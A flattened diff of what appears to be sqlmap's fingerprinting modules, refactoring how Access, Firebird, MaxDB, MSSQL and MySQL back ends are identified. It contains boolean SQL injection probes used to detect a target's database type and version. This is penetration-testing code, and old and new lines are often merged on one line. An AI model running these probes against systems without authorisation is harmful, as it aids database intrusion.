table = "MSysAccessObjects" table = "MSysAccessObjects"
elif kb.dbmsVersion[0] in ("2002-2003", "2007"): elif backend.isVersionWithin(("2002-2003", "2007")):
table = "MSysAccessStorage" table = "MSysAccessStorage"
if table:
result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) if table is not None:
retVal = "not sandboxed" if result else "sandboxed" result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
retVal = "not sandboxed" if result else "sandboxed"
return retVal return retVal
@ -55,30 +55,37 @@ class Fingerprint(GenericFingerprint):
# Microsoft Access table reference updated on 01/2010 # Microsoft Access table reference updated on 01/2010
sysTables = { sysTables = {
"97": ("MSysModules2", "MSysAccessObjects"), "97": ("MSysModules2", "MSysAccessObjects"),
"2000" : ("!MSysModules2", "MSysAccessObjects"), "2000" : ("!MSysModules2", "MSysAccessObjects"),
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs")
} }
# MSysAccessXML is not a reliable system table because it doesn't always exist # MSysAccessXML is not a reliable system table because it doesn't always exist
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
for version, tables in sysTables.items(): for version, tables in sysTables.items():
exist = True exist = True
for table in tables: for table in tables:
negate = False negate = False
if table[0] == '!': if table[0] == '!':
negate = True negate = True
table = table[1:] table = table[1:]
randInt = randomInt() randInt = randomInt()
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
if result is None: if result is None:
result = False result = False
if negate: if negate:
result = not result result = not result
exist &= result exist &= result
if not exist: if not exist:
break break
if exist: if exist:
return version return version
@ -108,13 +115,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -122,7 +129,7 @@ class Fingerprint(GenericFingerprint):
value += "back-end DBMS: " value += "back-end DBMS: "
if not conf.extensiveFp: if not conf.extensiveFp:
value += "Microsoft Access" value += DBMS.ACCESS
return value return value
actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck()) actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
@ -138,7 +145,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -148,37 +155,43 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES):
setDbms(DBMS.ACCESS) setDbms(DBMS.ACCESS)
return True return True
logMsg = "testing Microsoft Access" logMsg = "testing %s" % DBMS.ACCESS
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("VAL(CVAR(1))=1") result = inject.checkBooleanExpression("VAL(CVAR(1))=1")
if result: if result:
logMsg = "confirming Microsoft Access" logMsg = "confirming %s" % DBMS.ACCESS
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
if not result: if not result:
warnMsg = "the back-end DBMS is not Microsoft Access" warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
setDbms("Microsoft Access") setDbms(DBMS.ACCESS)
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
kb.dbmsVersion = [self.__sysTablesCheck()] infoMsg = "actively fingerprinting %s" % DBMS.ACCESS
logger.info(infoMsg)
version = self.__sysTablesCheck()
if version is not None:
backend.setVersion(version)
return True return True
else: else:
warnMsg = "the back-end DBMS is not Microsoft Access" warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -10,10 +10,8 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomRange from lib.core.common import randomRange
@ -35,13 +33,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -65,7 +63,7 @@ class Fingerprint(GenericFingerprint):
banVer = formatDBMSfp([banVer]) banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -84,13 +82,15 @@ class Fingerprint(GenericFingerprint):
for i in xrange(len(table)): for i in xrange(len(table)):
version, checks = table[i] version, checks = table[i]
failed = False failed = False
check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100))) check = checks[randomRange(0, len(checks)-1)].replace("%d", getUnicode(randomRange(1,100)))
result = inject.checkBooleanExpression(check) result = inject.checkBooleanExpression(check)
if result: if result:
retVal = version retVal = version
else: else:
failed = True failed = True
break break
if failed: if failed:
break break
@ -99,14 +99,14 @@ class Fingerprint(GenericFingerprint):
def __dialectCheck(self): def __dialectCheck(self):
retVal = None retVal = None
if getIdentifiedDBMS(): if backend.getIdentifiedDbms():
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
retVal = "dialect 3" if result else "dialect 1" retVal = "dialect 3" if result else "dialect 1"
return retVal return retVal
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES):
setDbms(DBMS.FIREBIRD) setDbms(DBMS.FIREBIRD)
self.getBanner() self.getBanner()
@ -114,33 +114,39 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
logMsg = "testing Firebird" logMsg = "testing %s" % DBMS.FIREBIRD
logger.info(logMsg) logger.info(logMsg)
randInt = randomInt() randInt = randomInt()
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
if result: if result:
logMsg = "confirming Firebird" logMsg = "confirming %s" % DBMS.FIREBIRD
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
if not result: if not result:
warnMsg = "the back-end DBMS is not Firebird" warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
setDbms(DBMS.FIREBIRD) setDbms(DBMS.FIREBIRD)
kb.dbmsVersion = [self.__sysTablesCheck()] infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
logger.info(infoMsg)
version = self.__sysTablesCheck()
if version is not None:
backend.setVersion(version)
self.getBanner() self.getBanner()
return True return True
else: else:
warnMsg = "the back-end DBMS is not Firebird" warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.data import conf from lib.core.data import conf
@ -32,7 +31,7 @@ class Fingerprint(GenericFingerprint):
GenericFingerprint.__init__(self, DBMS.MAXDB) GenericFingerprint.__init__(self, DBMS.MAXDB)
def __versionCheck(self): def __versionCheck(self):
infoMsg = "executing SAP MaxDB SYSINFO version check" infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
logger.info(infoMsg) logger.info(infoMsg)
query = agent.prefixQuery("/* NoValue */") query = agent.prefixQuery("/* NoValue */")
@ -41,7 +40,7 @@ class Fingerprint(GenericFingerprint):
result = Request.queryPage(payload) result = Request.queryPage(payload)
if not result: if not result:
warnMsg = "unable to perform SAP MaxDB version check" warnMsg = "unable to perform %s version check" % DBMS.MAXDB
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
@ -67,13 +66,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -92,7 +91,7 @@ class Fingerprint(GenericFingerprint):
if kb.bannerFp: if kb.bannerFp:
value += "\n%sbanner parsing fingerprint: -" % blank value += "\n%sbanner parsing fingerprint: -" % blank
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -100,27 +99,27 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES: if not conf.extensiveFp and (backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES):
setDbms(DBMS.MAXDB) setDbms(DBMS.MAXDB)
self.getBanner() self.getBanner()
return True return True
logMsg = "testing SAP MaxDB" logMsg = "testing %s" % DBMS.MAXDB
logger.info(logMsg) logger.info(logMsg)
randInt = randomInt() randInt = randomInt()
result = inject.checkBooleanExpression("%d=NOROUND(%d)" % (randInt, randInt)) result = inject.checkBooleanExpression("%d=NOROUND(%d)" % (randInt, randInt))
if result: if result:
logMsg = "confirming SAP MaxDB" logMsg = "confirming %s" % DBMS.MAXDB
logger.info(logMsg) logger.info(logMsg)
result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")
if not result: if not result:
warnMsg = "the back-end DBMS is not SAP MaxDB" warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -129,12 +128,9 @@ class Fingerprint(GenericFingerprint):
self.getBanner() self.getBanner()
if not conf.extensiveFp:
return True
return True return True
else: else:
warnMsg = "the back-end DBMS is not SAP MaxDB" warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -41,7 +41,7 @@ class Enumeration(GenericEnumeration):
infoMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[getIdentifiedDBMS()].tables rootQuery = queries[backend.getIdentifiedDbms()].tables
if not conf.db: if not conf.db:
if not len(kb.data.cachedDbs): if not len(kb.data.cachedDbs):
@ -111,7 +111,7 @@ class Enumeration(GenericEnumeration):
return kb.data.cachedTables return kb.data.cachedTables
def searchTable(self): def searchTable(self):
rootQuery = queries[getIdentifiedDBMS()].search_table rootQuery = queries[backend.getIdentifiedDbms()].search_table
foundTbls = {} foundTbls = {}
tblList = conf.tbl.split(",") tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition
@ -195,7 +195,7 @@ class Enumeration(GenericEnumeration):
return foundTbls return foundTbls
def searchColumn(self): def searchColumn(self):
rootQuery = queries[getIdentifiedDBMS()].search_column rootQuery = queries[backend.getIdentifiedDbms()].search_column
foundCols = {} foundCols = {}
dbs = {} dbs = {}
colList = conf.col.split(",") colList = conf.col.split(",")

View File

@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -31,13 +30,13 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
@ -58,13 +57,13 @@ class Fingerprint(GenericFingerprint):
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
if release and version and servicepack: if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release banVer = "%s %s " % (DBMS.MSSQL, release)
banVer += "Service Pack %s " % servicepack banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -72,10 +71,10 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \ if not conf.extensiveFp and (backend.isDbmsWithin(MSSQL_ALIASES) \
or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \ or conf.dbms in MSSQL_ALIASES) and backend.getVersion() and \
kb.dbmsVersion[0].isdigit(): backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion()))
self.getBanner() self.getBanner()
@ -83,7 +82,7 @@ class Fingerprint(GenericFingerprint):
return True return True
infoMsg = "testing Microsoft SQL Server" infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg) logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
@ -95,20 +94,19 @@ class Fingerprint(GenericFingerprint):
result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
if result: if result:
infoMsg = "confirming Microsoft SQL Server" infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg) logger.info(infoMsg)
for version, check in [\ for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \
("2000", "HOST_NAME()=HOST_NAME()"),\ ("2005", "XACT_STATE()=XACT_STATE()"), \
("2005", "XACT_STATE()=XACT_STATE()"),\ ("2008", "SYSDATETIME()=SYSDATETIME()") ]:
("2008", "SYSDATETIME()=SYSDATETIME()") ]:
result = inject.checkBooleanExpression(check) result = inject.checkBooleanExpression(check)
if result: if result:
kb.dbmsVersion = [version] backend.setVersion(version)
if kb.dbmsVersion: if backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion()))
else: else:
setDbms(DBMS.MSSQL) setDbms(DBMS.MSSQL)
@ -118,7 +116,7 @@ class Fingerprint(GenericFingerprint):
return True return True
else: else:
warnMsg = "the back-end DBMS is not Microsoft SQL Server" warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False

View File

@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -33,14 +32,14 @@ class Fingerprint(GenericFingerprint):
GenericFingerprint.__init__(self, DBMS.MYSQL) GenericFingerprint.__init__(self, DBMS.MYSQL)
def __commentCheck(self): def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint" infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL
logger.info(infoMsg) logger.info(infoMsg)
randInt = randomInt() randInt = randomInt()
result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt)) result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt))
if not result: if not result:
warnMsg = "unable to perform MySQL comment injection" warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
@ -98,19 +97,19 @@ class Fingerprint(GenericFingerprint):
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = format.getOs("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
value += "%s\n" % wsOsFp value += "%s\n" % wsOsFp
if kb.data.banner: if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
value += "back-end DBMS: " value += "back-end DBMS: "
actVer = formatDBMSfp() actVer = format.getDbms()
if not conf.extensiveFp: if not conf.extensiveFp:
value += actVer value += actVer
@ -121,7 +120,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer value += "active fingerprint: %s" % actVer
if comVer: if comVer:
comVer = formatDBMSfp([comVer]) comVer = format.getDbms([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer) value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp: if kb.bannerFp:
@ -130,10 +129,10 @@ class Fingerprint(GenericFingerprint):
if re.search("-log$", kb.data.banner): if re.search("-log$", kb.data.banner):
banVer += ", logging enabled" banVer += ", logging enabled"
banVer = formatDBMSfp([banVer]) banVer = format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getErrorParsedDBMSesFormatted() htmlErrorFp = format.getErrorParsedDBMSes()
if htmlErrorFp: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
@ -151,36 +150,38 @@ class Fingerprint(GenericFingerprint):
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
""" """
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \ if not conf.extensiveFp and (backend.isDbmsWithin(MYSQL_ALIASES) \
or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \ or conf.dbms in MYSQL_ALIASES) and backend.getVersion() and \
kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION: backend.getVersion() != UNKNOWN_DBMS_VERSION:
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "") v = backend.getVersion().replace(">", "")
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "") v = v.replace("=", "")
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "") v = v.replace(" ", "")
setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0])) backend.setVersion(v)
if str(kb.dbmsVersion[0]) >= '5': setDbms("%s %s" % (DBMS.MYSQL, backend.getVersion()))
if backend.isVersionGreaterOrEqualThan("5"):
kb.data.has_information_schema = True kb.data.has_information_schema = True
self.getBanner() self.getBanner()
return True return True
infoMsg = "testing MySQL" infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg) logger.info(infoMsg)
randInt = getUnicode(randomInt(1)) randInt = getUnicode(randomInt(1))
result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")
if result: if result:
infoMsg = "confirming MySQL" infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("USER()=USER()") result = inject.checkBooleanExpression("USER()=USER()")
if not result: if not result:
warnMsg = "the back-end DBMS is not MySQL" warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
@ -189,52 +190,55 @@ class Fingerprint(GenericFingerprint):
#if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)): #if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)):
if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt): if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt):
kb.data.has_information_schema = True kb.data.has_information_schema = True
kb.dbmsVersion = [">= 5.0.0"] backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL) setDbms("%s 5" % DBMS.MYSQL)
self.getBanner() self.getBanner()
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
logger.info(infoMsg)
# Check if it is MySQL >= 5.5.0 # Check if it is MySQL >= 5.5.0
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
kb.dbmsVersion = [">= 5.5.0"] backend.setVersion(">= 5.5.0")
# Check if it is MySQL >= 5.1.2 and < 5.5.0 # Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)): if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] backend.setVersionList([">= 5.1.12", "< 5.5.0"])
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)): elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)):
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] backend.setVersionList([">= 5.1.7", "< 5.1.12"])
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)): elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
kb.dbmsVersion = ["= 5.1.6"] backend.setVersion("= 5.1.6")
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)): elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] backend.setVersionList([">= 5.1.5", "< 5.1.6"])
else: else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] backend.setVersionList([">= 5.1.2", "< 5.1.5"])
# Check if it is MySQL >= 5.0.0 and < 5.1.2 # Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.checkBooleanExpression("@@hostname=@@hostname"): elif inject.checkBooleanExpression("@@hostname=@@hostname"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] backend.setVersionList([">= 5.0.38", "< 5.1.2"])
elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
kb.dbmsVersion = [">= 5.0.19", "< 5.0.38"] backend.setVersionList([">= 5.0.19", "< 5.0.38"])
elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)): elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)):
kb.dbmsVersion = [">= 5.0.11", "< 5.0.19"] backend.setVersionList([">= 5.0.11", "< 5.0.19"])
elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
kb.dbmsVersion = [">= 5.0.6", "< 5.0.11"] backend.setVersionList([">= 5.0.6", "< 5.0.11"])
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
kb.dbmsVersion = [">= 5.0.3", "< 5.0.6"] backend.setVersionList([">= 5.0.3", "< 5.0.6"])
else: else:
kb.dbmsVersion = [">= 5.0.0", "< 5.0.3"] backend.setVersionList([">= 5.0.0", "< 5.0.3"])
# For cases when information_schema is missing # For cases when information_schema is missing
elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2"] backend.setVersion(">= 5.0.2")
setDbms("%s 5" % DBMS.MYSQL) setDbms("%s 5" % DBMS.MYSQL)
self.getBanner() self.getBanner()
